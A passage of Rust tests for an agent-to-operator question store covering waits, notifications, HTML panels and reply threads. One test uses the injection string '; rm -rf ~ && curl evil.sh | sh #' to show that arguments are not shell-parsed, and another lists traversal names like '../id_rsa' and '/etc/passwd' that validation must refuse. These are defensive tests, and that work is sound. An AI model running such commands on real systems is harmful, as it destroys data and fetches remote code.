assert!(s.open_for("some-other-run").is_empty());
assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
assert!(s.get("20260101-000002-bbbb").is_ok());
assert!(s.resolve_id("nope").is_err());
assert!(
s.revision() > 0,
"the store's mtime drives the phone's polling"
);
}
#[test]
fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
let (_dir, s) = store();
let mut good = choice_question();
s.put(&mut good).unwrap();
std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
let future = serde_json::json!({
"schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
"seat": "s", "summary": "?", "detail": "", "choices": [],
"status": "open", "asked_at": "2026-01-01T00:00:00Z",
"answered_at": null, "answer": null,
});
std::fs::write(
s.path_of("20260101-000010-beef"),
serde_json::to_string(&future).unwrap(),
)
.unwrap();
let listed = s.list();
assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
assert_eq!(listed[0].id, good.id);
let e = s.get("20260101-000010-beef").unwrap_err().to_string();
assert!(e.contains("schema"), "{e}");
}
#[tokio::test]
async fn the_wait_returns_the_answer_another_process_wrote() {
let (dir, s) = store();
let mut q = choice_question();
let id = q.id.clone();
let writer = Questions::at(dir.path().join("questions"));
let handle = tokio::spawn(async move {
tokio::time::sleep(Duration::from_millis(30)).await;
let mut fresh = writer.get(&id).expect("the question was filed first");
fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
writer.put(&mut fresh).unwrap();
});
let got = wait_for_owner(
&mut q,
&s,
&quiet(),
Duration::from_secs(5),
Duration::from_millis(10),
)
.await
.unwrap();
handle.await.unwrap();
assert_eq!(got, Wait::Answered("SQLite".to_owned()));
assert_eq!(
q.status,
QuestionStatus::Answered,
"the caller's copy is refreshed from the answering process's record"
);
assert!(q.answered_at.is_some());
}
#[tokio::test]
async fn a_question_nobody_answers_is_abandoned_not_deleted() {
let (_dir, s) = store();
let mut q = choice_question();
let got = wait_for_owner(
&mut q,
&s,
&quiet(),
Duration::from_millis(60),
Duration::from_millis(10),
)
.await
.unwrap();
assert_eq!(
got,
Wait::Abandoned,
"a slow human is not an error; the run parks"
);
assert_eq!(q.status, QuestionStatus::Abandoned);
let on_disk = s.get(&q.id).expect("the record of what was asked survives");
assert_eq!(on_disk.status, QuestionStatus::Abandoned);
assert!(
on_disk.detail.contains("Abandoned:"),
"why nobody answered belongs with the question: {}",
on_disk.detail
);
assert!(on_disk.resolution().is_none());
assert_eq!(s.count_open(), 0);
}
#[tokio::test]
async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
let (_dir, s) = store();
let mut q = choice_question();
s.put(&mut q).unwrap();
let got = wait_loop(
&mut q,
&s,
Duration::from_secs(3600),
Duration::from_millis(30),
Duration::from_millis(10),
)
.await
.unwrap();
assert_eq!(
got,
Wait::Pending,
"the clock on this call ran out, not the owner's patience"
);
assert_eq!(
q.status,
QuestionStatus::Open,
"a slice expiring must never abandon the question"
);
let on_disk = s.get(&q.id).expect("still on disk, still open");
assert_eq!(
on_disk.status,
QuestionStatus::Open,
"nothing about the record changed just because this call gave up"
);
}
#[tokio::test]
async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
let (dir, s) = store();
let mut q = choice_question();
s.put(&mut q).unwrap();
let first = wait_loop(
&mut q,
&s,
Duration::from_secs(3600),
Duration::from_millis(30),
Duration::from_millis(10),
)
.await
.unwrap();
assert_eq!(first, Wait::Pending);
let id = q.id.clone();
let writer = Questions::at(dir.path().join("questions"));
let mut fresh = writer.get(&id).unwrap();
fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
writer.put(&mut fresh).unwrap();
let second = resume_wait(&mut q, &s, Duration::from_millis(500))
.await
.unwrap();
assert_eq!(second, Wait::Answered("Redis".to_owned()));
assert_eq!(q.status, QuestionStatus::Answered);
}
#[tokio::test]
async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
let (dir, s) = store();
let mut q = choice_question();
s.put(&mut q).unwrap();
let first = wait_loop(
&mut q,
&s,
Duration::from_secs(3600),
Duration::from_millis(30),
Duration::from_millis(10),
)
.await
.unwrap();
assert_eq!(first, Wait::Pending);
let id = q.id.clone();
let writer = Questions::at(dir.path().join("questions"));
let mut fresh = writer.get(&id).unwrap();
fresh.say("why not Postgres?").unwrap();
writer.put(&mut fresh).unwrap();
let mut resumed = s.get(&id).unwrap();
let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
.await
.unwrap();
assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
assert_eq!(
resumed.status,
QuestionStatus::Open,
"talking back is not a decision; the question stays open"
);
}
#[tokio::test]
async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
let (dir, s) = store();
let broken = config::Notify {
command: vec![
"magi-notifier-that-does-not-exist-9fb7".to_owned(),
"{summary}".to_owned(),
],
};
let mut q = choice_question();
assert!(
notify(&broken, &q).await.is_err(),
"the caller is told; it decides that it does not matter"
);
let id = q.id.clone();
let writer = Questions::at(dir.path().join("questions"));
let handle = tokio::spawn(async move {
tokio::time::sleep(Duration::from_millis(30)).await;
let mut fresh = writer.get(&id).unwrap();
fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
writer.put(&mut fresh).unwrap();
});
let got = wait_for_owner(
&mut q,
&s,
&broken,
Duration::from_secs(5),
Duration::from_millis(10),
)
.await
.unwrap();
handle.await.unwrap();
assert_eq!(got, Wait::Answered("Redis".to_owned()));
assert!(notify(&quiet(), &q).await.is_ok());
assert!(notify_text(&quiet(), "run", "text").await.is_ok());
}
#[test]
fn notification_arguments_are_substituted_and_never_a_shell_string() {
let mut q = choice_question();
q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
let template = [
"ntfy".to_owned(),
"publish".to_owned(),
"--click".to_owned(),
"{url}".to_owned(),
"--title".to_owned(),
"magi {run} needs you".to_owned(),
"{summary}".to_owned(),
];
let argv: Vec<String> = template
.iter()
.map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
.collect();
assert_eq!(
argv,
[
"ntfy",
"publish",
"--click",
"http://100.64.0.1:7777/#/questions",
"--title",
"magi 20260902-201256-9fb7 needs you",
"; rm -rf ~ && curl evil.sh | sh #",
],
"the shell metacharacters are one argument's contents, not syntax"
);
q.summary = "should {url} be configurable?".to_owned();
assert_eq!(
expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
"should {url} be configurable?"
);
assert_eq!(
expand("{title}: {run}", &q.run, &q.summary, ""),
"{title}: 20260902-201256-9fb7"
);
assert_eq!(
expand("no placeholders", &q.run, &q.summary, "http://x"),
"no placeholders"
);
}
#[test]
fn the_notification_link_lands_on_the_view_that_can_answer() {
assert_eq!(
question_url("http://100.64.0.1:7777"),
"http://100.64.0.1:7777/#/questions"
);
assert_eq!(
question_url("http://100.64.0.1:7777/"),
"http://100.64.0.1:7777/#/questions"
);
assert_eq!(
question_url("http://magi.ts.net/#/runs"),
"http://magi.ts.net/#/runs"
);
assert_eq!(question_url(" "), "");
}
fn panelled() -> Question {
let mut q = choice_question();
q.id = "20260903-014455-ab12".to_owned();
q
}
#[test]
fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
let (dir, s) = store();
let work = dir.path().join("worktree");
std::fs::create_dir_all(&work).unwrap();
std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
let mut q = panelled();
let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
s.put_panel(
&mut q,
html,
&[work.join("table.png"), work.join("diff.svg")],
)
.unwrap();
s.put(&mut q).unwrap();
assert!(q.panel);
assert_eq!(
q.assets,
["diff.svg", "table.png"],
"sorted, not in the order the agent happened to pass them"
);
assert_eq!(
s.panel_html(&q.id).as_deref(),
Some(html),
"the html is stored byte for byte; the agent authored the markup"
);
assert_eq!(
s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
Some(&b"<svg/>"[..])
);
let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
let json: serde_json::Value = serde_json::from_str(&body).unwrap();
assert_eq!(json["panel"], true);
assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
let back = s.get(&q.id).unwrap();
assert!(back.panel);
assert_eq!(back.assets, q.assets);
std::fs::remove_dir_all(&work).unwrap();
assert_eq!(
s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
Some(&b"\x89PNG"[..]),
"a referenced asset would be gone with the worktree"
);
}
#[test]
fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
let (dir, s) = store();
let mut q = panelled();
s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
s.put(&mut q).unwrap();
let secret = "this must never reach the browser";
std::fs::write(s.root().join("id_rsa"), secret).unwrap();
assert_eq!(
std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
secret,
"the traversal is real: the operating system resolves this path \
happily, which is why the name has to be refused before the join"
);
let long = "x".repeat(200);
for name in [
"..",
"../id_rsa",
"..\\id_rsa",
"sub/../id_rsa",
"/",
"\\",
"/etc/passwd",
"C:\\Windows\\win.ini",
"",
".hidden",
".",
long.as_str(),
] {
assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
assert!(
e.contains("not a panel file name"),
"`{name}` must be refused as a name, not attempted: {e}"
);
assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
}
assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
let hidden = dir.path().join(".hidden");
std::fs::write(&hidden, "x").unwrap();
let e = s
.put_panel(&mut q, "<p>replacement</p>", &[hidden])
.unwrap_err()
.to_string();
assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
assert!(q.assets.is_empty());
}
#[test]
fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
let (dir, s) = store();
let mut q = panelled();
s.put(&mut q).unwrap();
let big = dir.path().join("recording.png");
std::fs::File::create(&big)
.unwrap()
.set_len(PANEL_MAX_BYTES)
.unwrap();
let html = "<p>see the recording</p>";
let total = PANEL_MAX_BYTES + html.len() as u64;
let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
assert!(
e.contains(&PANEL_MAX_BYTES.to_string()),
"the cap is named so the agent knows the limit: {e}"
);
assert!(
e.contains(&total.to_string()),
"the actual size is named so the agent knows by how much: {e}"
);
assert!(!q.panel);
assert!(q.assets.is_empty());
let left: Vec<String> = std::fs::read_dir(s.root())
.unwrap()
.map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
.collect();
assert_eq!(
left,
[format!("{}.json", q.id)],
"a refused panel leaves neither a directory nor scratch: {left:?}"
);
}
#[test]
fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
let (dir, s) = store();
let (before, after) = (dir.path().join("before"), dir.path().join("after"));
std::fs::create_dir_all(&before).unwrap();
std::fs::create_dir_all(&after).unwrap();
std::fs::write(before.join("diff.png"), "before").unwrap();
std::fs::write(after.join("diff.png"), "after").unwrap();
let mut q = panelled();
let e = s
.put_panel(
&mut q,
"<p>x</p>",
&[before.join("diff.png"), after.join("diff.png")],
)
.unwrap_err()
.to_string();
assert!(e.contains("diff.png"), "{e}");
assert!(
e.contains("before") && e.contains("after"),
"both sources are named, because the fix is to rename one: {e}"
);
assert!(!q.panel);
assert!(!s.panel_dir(&q.id).exists());
}
#[test]
fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
let (dir, s) = store();
std::fs::write(dir.path().join("old.png"), "old").unwrap();
std::fs::write(dir.path().join("new.png"), "new").unwrap();
let mut q = panelled();
s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
.unwrap();
s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
.unwrap();
assert_eq!(q.assets, ["new.png"]);
assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
assert!(
s.panel_asset(&q.id, "old.png").unwrap().is_none(),
"an asset from the first attempt would show a mix of two answers"
);
s.drop_panel(&q.id).unwrap();
assert!(s.panel_html(&q.id).is_none());
assert!(!s.panel_dir(&q.id).exists());
s.drop_panel(&q.id)
.expect("dropping a panel that is already gone is the desired state");
}
#[test]
fn a_question_with_no_panel_reports_none_rather_than_an_error() {
let (_dir, s) = store();
let mut q = panelled();
s.put(&mut q).unwrap();
assert!(!q.panel);
assert!(s.panel_html(&q.id).is_none());
assert!(
s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
"a missing file is a 404 for the caller, not a failure of the store"
);
let json = serde_json::to_value(&q).unwrap();
assert_eq!(json["panel"], false);
assert_eq!(json["assets"], serde_json::json!([]));
let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
assert!(e.contains("empty panel"), "{e}");
assert!(!s.panel_dir(&q.id).exists());
}
#[test]
fn a_question_written_before_panels_existed_still_deserialises() {
let (_dir, s) = store();
std::fs::create_dir_all(s.root()).unwrap();
let id = "20260902-231501-ab12";
let body = r#"{
"schema": 1,
"id": "20260902-231501-ab12",
"run": "20260902-201256-9fb7",
"node": "implement",
"seat": "impl-A",
"summary": "Which storage backend should the cache use?",
"detail": "Both are already dependencies.",
"choices": ["SQLite", "Redis"],
"status": "open",
"asked_at": "2026-09-02T23:15:01Z",
"answered_at": null,
"answer": null
}"#;
std::fs::write(s.path_of(id), body).unwrap();
let q = s.get(id).unwrap();
assert!(
!q.panel,
"an absent field means no panel, not a parse error"
);
assert!(q.assets.is_empty());
assert_eq!(q.schema, 1);
assert!(q.thread.is_empty());
assert_eq!(
q.answer_timeout, 0,
"an absent field means unrecorded, not a zero-second deadline"
);
assert!(!q.waiting_on_agent());
assert_eq!(q.summary, "Which storage backend should the cache use?");
assert_eq!(
s.list().len(),
1,
"and it is still listed; skipping it would hide an open question"
);
}
fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
Turn {
who,
body: body.to_owned(),
at,
}
}
#[test]
fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
let mut q = choice_question();
q.thread
.push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
let value = serde_json::to_value(&q.thread[0]).unwrap();
let mut keys: Vec<&str> = value
.as_object()
.unwrap()
.keys()
.map(String::as_str)
.collect();
keys.sort_unstable();
assert_eq!(keys, ["at", "body", "who"]);
assert_eq!(value["who"], "operator");
assert_eq!(value["body"], "why not Postgres?");
let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
assert_eq!(parsed.who, Who::Agent);
}
#[test]
fn saying_something_appends_an_operator_turn_without_deciding_anything() {
let mut q = choice_question();
q.say("does the cache need eviction?").unwrap();
assert_eq!(q.thread.len(), 1);
assert_eq!(q.thread[0].who, Who::Operator);
assert_eq!(q.thread[0].body, "does the cache need eviction?");
assert_eq!(q.status, QuestionStatus::Open);
assert!(q.answer.is_none());
assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
}
#[test]
fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
let mut answered = choice_question();
answered
.answer(Answer::Choice("SQLite".to_owned()))
.unwrap();
let a = answered.say("still there?").unwrap_err().to_string();
assert!(a.contains("already answered"), "{a}");
let b = answered
.reply("still there?", vec![])
.unwrap_err()
.to_string();
assert!(b.contains("already answered"), "{b}");
let mut abandoned = choice_question();
abandoned.abandon("timed out");
let c = abandoned.say("hello?").unwrap_err().to_string();
assert!(c.contains("abandoned"), "{c}");
let mut open = choice_question();
let d = open.say(" ").unwrap_err().to_string();
assert!(d.contains("empty"), "{d}");
let e = open.reply(" \n", vec![]).unwrap_err().to_string();
assert!(e.contains("empty"), "{e}");
assert!(open.thread.is_empty(), "a refused turn leaves no trace");
}
#[test]
fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
let mut q = choice_question();
q.say("SQLite or Redis, but what about disk space?")
.unwrap();
assert!(q.waiting_on_agent());
q.reply(
"SQLite: it is one file, no server to run.",
vec!["SQLite".to_owned()],
)
.unwrap();
assert_eq!(q.choices, ["SQLite"]);
assert!(
!q.waiting_on_agent(),
"the agent spoke, so the owner is the one being waited on now"
);
assert_eq!(q.thread.len(), 2);
assert_eq!(q.thread[1].who, Who::Agent);
assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
assert_eq!(q.resolution().as_deref(), Some("SQLite"));
}
#[test]
fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
let mut fresh = choice_question();
assert!(
fresh.should_notify(Timestamp::now()),
"nobody has been notified yet, so the first ask always pages"
);
fresh.say("why not Postgres?").unwrap();
let just_said = fresh.thread[0].at;
assert!(
!fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
"still on the screen a minute later; no need to page again"
);
assert!(
!fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
"exactly the window: `>` means this side stays quiet"
);
assert!(
fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
"past the window: they may have walked away"
);
}
#[test]
fn a_round_trip_of_turns_still_counts_as_one_open_question() {
let (_dir, s) = store();
let mut q = choice_question();
s.put(&mut q).unwrap();
q.say("why not Postgres?").unwrap();
s.put(&mut q).unwrap();
q.reply("no server to run", vec!["SQLite".to_owned()])
.unwrap();
s.put(&mut q).unwrap();
assert_eq!(
s.count_open(),
1,
"one question that talked twice is still one open question"
);
assert_eq!(s.open_for(&q.run).len(), 1);
}
#[tokio::test]
async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
let (dir, s) = store();
let mut q = choice_question();
let id = q.id.clone();
let writer = Questions::at(dir.path().join("questions"));
let handle = tokio::spawn(async move {
tokio::time::sleep(Duration::from_millis(30)).await;
let mut fresh = writer.get(&id).expect("the question was filed first");
fresh.say("why not Postgres?").unwrap();
writer.put(&mut fresh).unwrap();
});
let got = wait_for_owner(
&mut q,
&s,
&quiet(),
Duration::from_secs(5),
Duration::from_millis(10),
)
.await
.unwrap();
handle.await.unwrap();
assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
assert_eq!(
q.status,
QuestionStatus::Open,
"talking back is not a decision; the question stays open"
);
assert!(q.answer.is_none());
}
#[test]
fn a_say_that_lands_before_the_agents_reply_stays_unread() {
let mut q = choice_question();
q.say("A").unwrap();
q.delivered_turns = q.thread.len();
q.say("B").unwrap();
q.reply("about A", vec![]).unwrap();
assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
q.delivered_turns = q.thread.len();
assert_eq!(q.unread_from_owner(), None);
}
#[test]
fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
let ok = parse_actions(
&[
"resume で続行する=resume".to_owned(),
"wait=done".to_owned(),
],
&choices,
"run-1",
)
.unwrap();
assert_eq!(
ok["resume で続行する"],
ChoiceAction::Resume {
run: "run-1".into()
}
);
assert_eq!(ok["wait"], ChoiceAction::Done);
let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
assert_eq!(
ChoiceAction::parse("x=requeue", "").unwrap().1,
ChoiceAction::Requeue
);
for bad in [
"no-equals",
"=done",
"x=resume",
"x=resume:",
"x=explode",
"x=done:1",
] {
assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
}
assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
assert!(
parse_actions(
&["wait=done".to_owned(), "wait=requeue".to_owned()],
&choices,
""
)
.is_err()
);
}
#[test]
fn only_a_chosen_label_with_an_action_is_actionable() {
let mut q = choice_question();
q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
assert!(q.chosen_action().is_none(), "unanswered");
q.answer(Answer::Choice("resume".to_owned())).unwrap();
assert!(
q.chosen_action().is_none(),
"a label that merely reads like an action does nothing"
);
let mut q2 = choice_question();
q2.choices = vec!["SQLite".to_owned()];
q2.actions
.insert("SQLite".to_owned(), ChoiceAction::Requeue);
q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
}
#[test]
fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
let mut q = choice_question();
q.choices = vec!["A".to_owned(), "B".to_owned()];
q.actions.insert("A".to_owned(), ChoiceAction::Done);
q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
q.reply("narrowing", vec!["B".to_owned()]).unwrap();
assert_eq!(q.actions.len(), 1);
assert!(q.actions.contains_key("B"));
let mut v = serde_json::to_value(&q).unwrap();
v.as_object_mut().unwrap().remove("actions");
let old: Question = serde_json::from_value(v).unwrap();
assert!(old.actions.is_empty());
}
}